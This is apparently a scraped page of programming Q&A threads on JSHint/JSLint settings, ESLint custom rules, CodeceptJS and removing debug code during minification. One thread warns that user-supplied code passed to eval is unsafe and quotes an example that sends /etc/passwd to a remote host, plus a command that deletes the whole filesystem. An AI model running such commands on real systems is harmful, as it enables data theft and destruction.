I have the following code in an Angular app:
'use strict';
angular.module('fooApp')
.controller('FooCtrl', function ($scope) {
});
When I run JSHint (with indent set to 4) on this code, I get the following error:
[L6:C5] W015: Expected '}' to have an indentation at 1 instead at 5.
});
How do I get JSHint to allow me to keep my chaining indentation?
Update
I found that if I add a body to the FooCtrl function like this:
'use strict';
angular.module('fooApp')
.controller('FooCtrl', function ($scope) {
$scope.foo = {};
});
Then it does pass JSHint. Anyone know why?
I don't believe there is a way to do it. The whitespace checking in JSHint is fairly static, you get on or off, no configuration. There's an open bounty to add some configuration, but nothing seems to be in the works (at least for your situation).
https://github.com/jshint/jshint/issues/28
You'll either have to just ignore it or turn off the whitespace check.
simply said: you don't. Either you remove all indentation checking from your config file, or you match the crockford's recommandation. There's an open bug about giving more flexible rules, but it has to be implemented.
Having submitted code to JSHint, it would not be hard to implement a more flexible way to check whitespaces. Except that there are a lot of cases where it has to be checked... The main problem is to find an intelligent way to fine tune your indentation preferences.
Related
I have configured codeceptjs and while writing the first test I am getting some errors which I could not figure out, the code is as below.
But the strange thing is it is executing perfectly. but i want to make sure why it is an error there. Am I missing anything in configuration or any other?
Config File:
Thanks in advance.
I'm think you are declined request of creating a custom actor when installation of codeceptjs:
? Where would you like to place custom steps? (./steps_file.js)
steps_file.js looks like this:
'use strict';
// in this file you can append custom step methods to 'I' object
module.exports = function() {
return actor({
// Define custom steps here, use 'this' to access default methods of I.
// It is recommended to place a general 'login' function here.
});
}
You can try create this file or remove "I": "./steps_file.js" from your configuration.
Imagine for example (authorized) users are allowed to submit custom formatters to a nodejs server that would have some code like this.
var JSHINT = require('jshint').JSHINT;
function formatterFactory(code) {
// we could pass more options to jshint...
JSHINT(code, {undef:true},['input','output']);
if (JSHINT.data().errors) {
// throw error...
console.dir(JSHINT.errors);
throw new Error(JSHINT.data().errors[0].reason);
}
// otherwhise eval
return function(input) {
var output;
eval(code);
return output;
}
}
var userNastyCode = ' \
var http = require("http"); \
var fs = require("fs"); \
http.request({ \
method: "POST", \
host: "example.org", \
path: "/muahaha" \
}, function(res) { \
res.resume(); \
}).end(fs.readFileSync("/etc/passwd"));';
var userFormatter = formatterFactory(userNastyCode);
userFormatter('some thing');
// throws error 'require' is not defined.
User-provided text is never safe to eval, or at least should be considered never safe because the amount of effort you could put into proving safety far exceeds the amount of effort to accomplish what you want a different way.
JSHint looks at code syntax and (perhaps somewhat subjective) measures of quality, and malicious code is perfectly capable of satisfying those two things. For example, this is lovely code that may well do a lot of damage if you let me run it on your server:
require('child_process').spawn('rm', ['-rf', '/']);
JSHint doesn't complain about it, and if you have a custom configuration, I can either modify my code to pass, or as mentioned in the comments, just include my own configuration that quiets JSHint down. What you should remember is that if you let me hand you code to run, I can do anything you can do. It's a little harder than just giving me access to edit your files directly, but there's no real way for you to prevent me from doing something you don't want.
In this particular case, I'd think about a couple things:
Do you really need the user to write totally arbitrary formatters? Maybe you can give them some known set of options to choose from instead.
Do you know what the data to be formatted is (numbers, dates, etc.)? You can safely let them pick an arbitrary format to apply to the data type, like yyyy-mm-dd, without letting them pick their own JS, and there are lots of libraries you can pass the formatting strings to.
Can you run their code in their browser? They can already run whatever JS they want in a developer console, so if you can set it up so their formatter runs in a similar context, you haven't opened any holes. (I've never tried this; it still feels dicey.)
Whatever you end up with, I'd keep JSHint's evil option disabled on your own code :)
Goal:
Issue a warning in case an #author tag is used anywhere inside the .js files in the project.
Question:
Is it something that jshint or other static code check tools can help with? If not, what options do I have?
Description:
I completely agree with Paul's answer at Javadoc #author tag good practices thread and treat #author tag as an unnecessary noise.
And, in the Python world, I've seen people checking for the tag usage. For example, Openstack Style Guidelines explicitly state not use #author tag. They have developed a set of custom flake8 checks which include:
[H105] Don’t use author tags.
Now, I'm trying to solve the same problem in JavaScript.
Example (this should not pass a code quality check):
/**
* #author John Smith <john#smith.com>
*/
'use strict';
No, jshint can't do that. Just do a grep across the sources looking for #author. If you want you could put that in a git pre-commit hook. Or, you could hack JSDoc to error out when creating docs if it encounters #author.
Sorry, I meant to try this out before posting an answer, but the bounty's almost up. ;^)
This answer claims that there's a way to write your own JSHint module.
It looks like it was done in a branch, https://github.com/jshint/jshint-next/wiki/Design
Its readme says, This project is obsolete. It was merged into the main repository, so that's a good sign.
Let's pretend it works as advertised and has been merged back in.
Great instructions here, though note that those are on the "jshint-next" site.
Example code from that page:
// This module errs on any identifier that doesn't starts with 'kitty'.
function myModule(linter) {
linter.on("Identifier", function (ident) {
if (ident.name && ident.name.slice(0, 5) !== "kitty")
linter.report.addError("C001", "More cats please.");
});
}
Here's from the initial section on how to set up a linter:
var Linter = require("jshint").Linter;
var code = "<your beautiful JavaScript code here>";
// Create a new instance of Linter.
var linter = new Linter(code);
// Now you can teach JSHint about your predefined variables.
// Note that default JavaScript identifiers are already there.
linter.addGlobals({
jQuery: false,
MyPlugin: true
});
// If you have any JSHint extensions, you can attach them
// to the current instance.
linter.addModule(myModule);
// Finally, parse your code.
linter.parse();
I realize that's pretty generic (you'd still need to research linter.on options beyond Identifier; there's a String too, eg), but it looks pretty promising. Again, you can see how to integrate using the instructions above. And it looks like this is the format that's used in style.js.
I have not tried this out yet. Just haven't had time at home; apologies.
Is there a specific reason torazaburo's "Just grep it" answer doesn't work? Do you need this to be part of a code quality workflow? If so, this "write your own module" would seem to be the way to go.
There are also pretty obvious ways to hack up JSLint, if you're up for it, but I'm not sure Crockford would appreciate that. ;^)
Solved it with ESLint package - a pluggable linting utility for JavaScript.
Created a custom rule (note how simple it is) and saved it to rules/no-author.js:
/**
* #fileoverview A rule to disallow #author tag in code
*/
module.exports = function (context) {
"use strict";
function checkComment(node) {
var commentToCheck = node.value.toLowerCase().trim();
if (commentToCheck.indexOf("#author") !== -1) {
context.report(node, "A comment unexpectedly contains #author.");
}
}
return {
"BlockComment": checkComment,
"LineComment": checkComment
};
};
Now, imagine I have a test.js file that violates the use of #author tag:
/**
* #author John Smith <john#smith.com>
*/
And see how the rule is applied:
$ eslint test.js --rulesdir=rules/ --rule='no-author: 2'
test.js
1:0 error A comment unexpectedly contains #author no-author
✖ 1 problem
FYI, no-author: 2 here means to turn the rule on as an error (exit code is 1 when triggered).
I code according to JSLint standards (excluding a couple of options) and I thought it might be a good idea to work this into my in-browser unit tests so that I don't accidentally commit anything which doesn't pass it. I'm using QUnit, but the same can probably be applied to any in-browser testing framework.
I tried this code first of all:
test("code passes JSLint", function () {
var i, options;
options = {
browser : true,
plusplus : true,
unparam : true,
maxlen : 120,
indent : 4
};
// in QUnit `ok` is the equivalent of `assertTrue`
ok(JSLINT(this.code, options));
// Help me out a bit if it fails
for (i = 0; i < JSLINT.errors.length; i++) {
console.log(JSLINT.errors[i].line + ': ' + JSLINT.errors[i].reason);
}
});
Edit: Forgot to mention, I declared in the setup that this.code = myFunction.toString();.
Which works great in Chrome, so I committed and continued merrily coding. When I tried it in FF, I found that FF seems to strip all the white-space out of functions when it converts them into strings, so it fails.
I'm coding and testing locally, so using AJAX to download the JS file isn't really an option. Can anyone think of a better option, or is this just a complete waste of time? (Ignoring the benefits or drawbacks of JSLint as a whole please... that's for a different discussion)
What is your development environment? Jslint can be integrated into common IDEs like Eclipse and (I'm pretty sure) Visual Studio. I think that would be a better option then putting it into your unit tests even if it worked perfectly in the unit tests.
Otherwise to stick with the unit test approach maybe you could put a conditional in to only run the Jslint test if in Chrome - the things Jslint checks for don't need to be tested in multiple browsers.
Oddly, I'm seeing the opposite behavior (fails in chrome[v17.0.x], passes in FF[v10.0.1]). Either way, another solution is to tell JSLINT to not worry about the white spaces with white:true
Your code in coffeescript, setting JSLINT to ignore whitespace:
<script src="http://coffeescript.org/extras/coffee-script.js"></script>
<script src="https://github.com/douglascrockford/JSLint/raw/master/jslint.js"></script>
<script src="http://code.jquery.com/qunit/qunit-1.10.0.js"></script>
<script>
function myCode(){window.console.log("I have no whitespace");}
</script>
<script type="text/coffeescript">
test "Code is LINT'able", ()->
options =
browser:true
white:true #don't worry about whitespace
sloppy:true #allow missing "use strict"
ok JSLINT(myCode.toString(), options)
JSLINT.errors.forEach (error)->
console.log "#{error.line}: #{error.reason}"
</script>
I'm looking into different ways to minify my JavaScript code including the regular JSMin, Packer, and YUI solutions. I'm really interested in the new Google Closure Compiler, as it looks exceptionally powerful.
I noticed that Dean Edwards packer has a feature to exclude lines of code that start with three semicolons. This is handy to exclude debug code. For instance:
;;; console.log("Starting process");
I'm spending some time cleaning up my codebase and would like to add hints like this to easily exclude debug code. In preparation for this, I'd like to figure out if this is the best solution, or if there are other techniques.
Because I haven't chosen how to minify yet, I'd like to clean the code in a way that is compatible with whatever minifier I end up going with. So my questions are these:
Is using the semicolons a standard technique, or are there other ways to do it?
Is Packer the only solution that provides this feature?
Can the other solutions be adapted to work this way as well, or do they have alternative ways of accomplishing this?
I will probably start using Closure Compiler eventually. Is there anything I should do now that would prepare for it?
here's the (ultimate) answer for closure compiler :
/** #const */
var LOG = false;
...
LOG && log('hello world !'); // compiler will remove this line
...
this will even work with SIMPLE_OPTIMIZATIONS and no --define= is necessary !
Here's what I use with Closure Compiler. First, you need to define a DEBUG variable like this:
/** #define {boolean} */
var DEBUG = true;
It's using the JS annotation for closure, which you can read about in the documentation.
Now, whenever you want some debug-only code, just wrap it in an if statement, like so:
if (DEBUG) {
console.log("Running in DEBUG mode");
}
When compiling your code for release, add the following your compilation command: --define='DEBUG=false' -- any code within the debug statement will be completely left out of the compiled file.
A good solution in this case might be js-build-tools which supports 'conditional compilation'.
In short you can use comments such as
// #ifdef debug
var trace = debug.getTracer("easyXDM.Rpc");
trace("constructor");
// #endif
where you define a pragma such as debug.
Then when building it (it has an ant-task)
//this file will not have the debug code
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.js"/>
//this file will
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.debug.js" defines="debug"/>
Adding logic to every place in your code where you are logging to the console makes it harder to debug and maintain.
If you are already going to add a build step for your production code, you could always add another file at the top that turns your console methods into noop's.
Something like:
console.log = console.debug = console.info = function(){};
Ideally, you'd just strip out any console methods, but if you are keeping them in anyway but not using them, this is probably the easiest to work with.
If you use the Closure Compiler in Advanced mode, you can do something like:
if (DEBUG) console.log = function() {}
Then the compiler will remove all your console.log calls. Of course you need to --define the variable DEBUG in the command line.
However, this is only for Advanced mode. If you are using Simple mode, you'll need to run a preprocessor on your source file.
Why not consider the Dojo Toolkit? It has built-in comment-based pragma's to include/exclude sections of code based on a build. Plus, it is compatible with the Closure Compiler in Advanced mode (see link below)!
http://dojo-toolkit.33424.n3.nabble.com/file/n2636749/Using_the_Dojo_Toolkit_with_the_Closure_Compiler.pdf?by-user=t
Even though its an old question. I stumbled upon the same issue today and found that it can be achieved using CompilerOptions.
I followed this thread.
We run the compiler, from Java, on our server before sending the code to the client. This worked for us in Simple mode.
private String compressWithClosureCompiler(final String code) {
final Compiler compiler = new Compiler();
final CompilerOptions options = new CompilerOptions();
Logger.getLogger("com.google.javascript.jscomp").setLevel(Level.OFF);
if (compressRemovesLogging) {
options.stripNamePrefixes = ImmutableSet.of("logger");
options.stripNameSuffixes = ImmutableSet.of("debug", "dev", "info", "error",
"warn", "startClock", "stopClock", "dir");
}
CompilationLevel.SIMPLE_OPTIMIZATIONS.setOptionsForCompilationLevel(options);
final JSSourceFile extern = JSSourceFile.fromCode("externs.js", "");
final JSSourceFile input = JSSourceFile.fromCode("input.js", code);
compiler.compile(extern, input, options);
return compiler.toSource();
}
It will remove all the calls to logger.debug, logger.dev...etc.etc
If you're using UglifyJS2, you can use the drop_console argument to remove console.* functions.
I use this in my React apps:
if (process.env.REACT_APP_STAGE === 'PROD')
console.log = function no_console() {};
In other words, console.log will return nothing on prod enviroment.
I am with #marcel-korpel. Isn't perfect but works. Replace the debug instructions before minification. The regular expression works in many places. Watch out unenclosed lines.
/console\.[^;]*/gm
Works on:
;;; console.log("Starting process");
console.log("Starting process");
console.dir("Starting process");;;;;
console.log("Starting "+(1+2)+" processes"); iamok('good');
console.log('Message ' +
'with new line'
);
console.group("a");
console.groupEnd();
swtich(input){
case 1 : alert('ok'); break;
default: console.warn("Fatal error"); break;
}
Don't works:
console.log("instruction without semicolon")
console.log("semicolon in ; string");
I haven't looked into minification so far, but this behaviour could be accomplished using a simple regular expression:
s/;;;.*//g
This replaces everything in a line after (and including) three semicolons with nothing, so it's discarded before minifying. You can run sed (or a similar tool) before running your minification tool, like this:
sed 's/;;;.*//g' < infile.js > outfile.js
BTW, if you're wondering whether the packed version or the minified version will be 'better', read this comparison of JavaScript compression methods.
I've used following self-made stuf:
// Uncomment to enable debug messages
// var debug = true;
function ShowDebugMessage(message) {
if (debug) {
alert(message);
}
}
So when you've declared variable debug which is set to true - all ShowDebugMessage() calls would call alert() as well. So just use it in a code and forget about in place conditions like ifdef or manual commenting of the debug output lines.
I was searching for a built-in option to do this. I have not found that yet, but my favorite answer also does not require any changes to existing source code. Here's an example with basic usage.
Assume HTML file test.html with:
<html>
<script src="hallo.js"></script>
</html>
And hallo.js with:
sayhi();
function sayhi()
{
console.log("hallo, world!");
}
We'll use a separate file, say noconsole.js, having this from the linked answer:
console.log = console.debug = console.info = function(){};
Then we can compile it as follows, bearing in mind that order matters, noconsole.js must be placed first in the arguments:
google-closure-compiler --js noconsole.js hallo.js --js_output_file hallo.out.js
If you cat hallo.out.js you'd see:
console.log=console.debug=console.info=function(){};sayhi();function sayhi(){console.log("hallo, world!")};
And if I test with mv hallo.out.js hallo.js and reload the page, I can see that the console is now empty.
Hope this clarifies it. Note that I have not yet tested this in the ideal mode of compiling all the source code with ADVANCED optimizations, but I'd expect it to also work.